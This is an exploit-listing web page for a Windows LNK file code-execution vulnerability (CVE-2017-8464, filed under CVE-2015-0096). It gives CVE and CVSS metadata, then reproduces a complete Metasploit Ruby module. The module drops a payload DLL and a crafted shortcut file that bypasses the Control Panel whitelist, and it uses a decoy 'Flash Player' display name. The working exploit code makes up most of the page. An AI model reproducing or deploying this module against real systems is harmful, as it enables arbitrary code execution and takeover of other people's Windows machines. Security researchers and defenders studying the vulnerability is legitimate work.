Microsoft Windows LNK File Code Execution
CVE
Category
Price
Severity
CVE-2015-0096
CWE-94
$50,000
Critical
Author
Risk
Exploitation Type
Date
Unknown
High
Local
2017-11-09
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017110056 Below is a copy:
Microsoft Windows LNK File Code Execution ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::Priv
attr_accessor :exploit_dll_name
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LNK Code Execution Vulnerability',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
that contain a dynamic icon, loaded from a malicious DLL.
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
similar except an additional SpecialFolderDataBlock is included. The folder ID set
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
DLL file.
The PATH option must be an absolute path to a writeable directory which is indexed for
searching. If no PATH is specified, the module defaults to %USERPROFILE%.
},
'Author' =>
[
'Uncredited', # vulnerability discovery
'Yorick Koster', # msf module
'Spencer McIntyre' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8464'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup
['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format
['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],
['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'FileDropperDelay' => 15,
'WfsDelay' => 30
},
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' =>
{
'Space' => 2048
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0, # Default target is Automatic
'DisclosureDate' => 'Jun 13 2017'
)
)
register_options(
[
OptString.new('FILENAME', [false, 'The LNK file']),
OptString.new('DLLNAME', [false, 'The DLL file containing the payload']),
OptString.new('PATH', [false, 'An explicit path to where the files should be written to'])
]
)
register_advanced_options(
[
OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
]
)
end
def check
if session.sys.process['SearchIndexer.exe']
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def get_name(option, default_ext)
name = datastore[option].to_s.strip
name = "#{rand_text_alpha(16)}.#{default_ext}" if name.blank?
name
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if session.platform != 'windows'
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
datastore['EXE::Path'] = path
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
path = datastore['PATH'] || session.fs.file.expand_path("%USERPROFILE%")
path.chomp!("\\")
dll_path = "#{path}\\#{get_name('DLLNAME', 'dll')}"
write_file(dll_path, generate_payload_dll)
lnk_path = "#{path}\\#{get_name('FILENAME', 'lnk')}"
write_file(lnk_path, generate_link(dll_path))
register_files_for_cleanup(dll_path, lnk_path)
end
def file_rm(file)
if file_dropper_delete(session, file) && @dropped_files && file_dropper_deleted?(session, file, true)
@dropped_files.delete(file)
end
end
def generate_link(path)
vprint_status("Generating LNK file to load: #{path}")
path += "\x00" # Do not use << here
display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
comment = datastore['LnkComment'].dup << "\x00"
# Control Panel Applet ItemID with our DLL
cpl_applet = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
].pack('C*')
cpl_applet << [path.length].pack('v')
cpl_applet << [display_name.length].pack('v')
cpl_applet << path.unpack('C*').pack('v*')
cpl_applet << display_name.unpack('C*').pack('v*')
cpl_applet << comment.unpack('C*').pack('v*')
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
0x00, 0x00, 0x00, 0x00, # FileAttributes
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
0x00, 0x00, 0x00, 0x00, # FileSize
0x00, 0x00, 0x00, 0x00, # IconIndex
0x00, 0x00, 0x00, 0x00, # ShowCommand
0x00, 0x00, # HotKey
0x00, 0x00, # Reserved1
0x00, 0x00, 0x00, 0x00, # Reserved2
0x00, 0x00, 0x00, 0x00 # Reserved3
].pack('C*')
# IDList
idlist_data = ''
# ItemID = ItemIDSize (2 bytes) + Data (variable)
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
# All Control Panel Items
0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
# ItemID = ItemIDSize (2 bytes) + Data (variable)
idlist_data << [cpl_applet.length + 2].pack('v')
idlist_data << cpl_applet
idlist_data << [0x00].pack('v') # TerminalID
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData
# SpecialFolderDataBlock
ret << [
0x10, 0x00, 0x00, 0x00, # BlockSize
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
0x14, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList
].pack('C*')
# TerminalBlock
ret << [0x00, 0x00, 0x00, 0x00].pack('V')
ret
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum